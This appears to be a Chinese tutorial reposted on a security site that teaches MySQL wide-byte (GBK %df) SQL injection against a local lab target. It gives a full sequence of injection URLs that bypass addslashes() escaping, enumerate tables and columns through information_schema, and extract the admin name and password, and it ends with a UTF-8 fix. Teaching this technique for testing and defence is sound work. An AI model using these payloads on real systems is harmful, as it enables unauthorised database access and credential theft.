sql注入入门 之mysql宽字节注入-sql注入入门 之mysql宽字节注入-华盟网

sql注入入门 之mysql宽字节注入

华盟学院山东省第二期线下学习计划

1,如下,宽字节注入的原型实例代码,注意连接字符集为gbk,对传入的值已用addslashes()做了转义,另外,php是把id当做一个字符串来接收的,后面在闭合的时候需要注意下,具体如下:

sql注入入门 之mysql宽字节注入

2,本此用于测试的 宽字节注入点,如下

http://192.168.3.23/wide/0x01/index.php?id=2

sql注入入门 之mysql宽字节注入

3,这时当我们用经典的单引号尝试对传入参数进行干扰时发现,貌似并没有任何反应,原因很明显,因为addslashes()已经把我们提交的单引号给转义了

http://192.168.3.23/wide/0x01/index.php?id=2'

sql注入入门 之mysql宽字节注入

4,现在,我们就可以尝试利用宽字符来突破类似的转义问题,这里使用经典的%df宽字符,如下,页面返回数据库报错,说明我们的单引号已经被带入正常的sql语句中执行查询了,也就是说,用于转义的那个’’已经罢工了

sql注入入门 之mysql宽字节注入

5,通过观察打出来的sql语句,可以发现,那个 ‘%df’和’’ 在gbk字符编码中变成了‘運’字,所以这才会造成转义才会失效,既如此,闭合自然就非常简单了,因为是字符型注入,只需要把前面的单引号闭合,后面的语句直接注释掉即可,具体的注入语句如下

http://192.168.3.23/wide/0x01/index.php?id=2%df'and 1=1 %23   条件为真时返回正常

sql注入入门 之mysql宽字节注入

http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 %23 条件为真时返回异常

sql注入入门 之mysql宽字节注入

6,查询当前表的字段个数

http://192.168.3.23/wide/0x01/index.php?id=2%df' order by 3 %23 为3时返回正常

sql注入入门 之mysql宽字节注入

http://192.168.3.23/wide/0x01/index.php?id=2%df' order by 4 %23 为4时返回异常,说明当前表有3个字段

sql注入入门 之mysql宽字节注入

7,执行union,爆出对应的数据显示位

http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=21 UNION SELECT 1,2,3 %23

sql注入入门 之mysql宽字节注入

8,搜集当前数据库信息,这里只是为了给大家演示下宽字节的正常注入流程,就不再尝试读写文件了,暂时按照正常的权限来,有兴趣可自行尝试

http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=21 UNION SELECT 1,database(),version() %23

sql注入入门 之mysql宽字节注入

9,查出当前库中的所有表名

http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 union select 1,group_concat(table_name),user() from information_schema.tables where table_schema=0x64617461 %23

sql注入入门 之mysql宽字节注入

10,查出admin表中的所有字段名

http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 union select 1,group_concat(column_name),user() from information_schema.columns where table_name=0x61646d696e %23

sql注入入门 之mysql宽字节注入

11,最后,去查出管理的账号密码数据即可

http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 union select 1,name,pass from admin limit 0,1 %23

sql注入入门 之mysql宽字节注入

一点小结:

篇幅原因,这里只简单演示了GBK一种编码,至于GB2312等其它的一些宽字节字符集,也都会有这样的问题,关于宽字节注入,其实原理非常简单,就是数据库对不同编码的理解差异所造成的,最好的修复方法,就是全站(前后端全局统一)统一用utf-8,在适当的闭合后,注入语句和常规的注入语句基本没有任何差别,记得多找实例练习即可

www.idc126.com

文章出处:klion's blog

本文由 华盟网 作者:congtou 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。

0

发表评论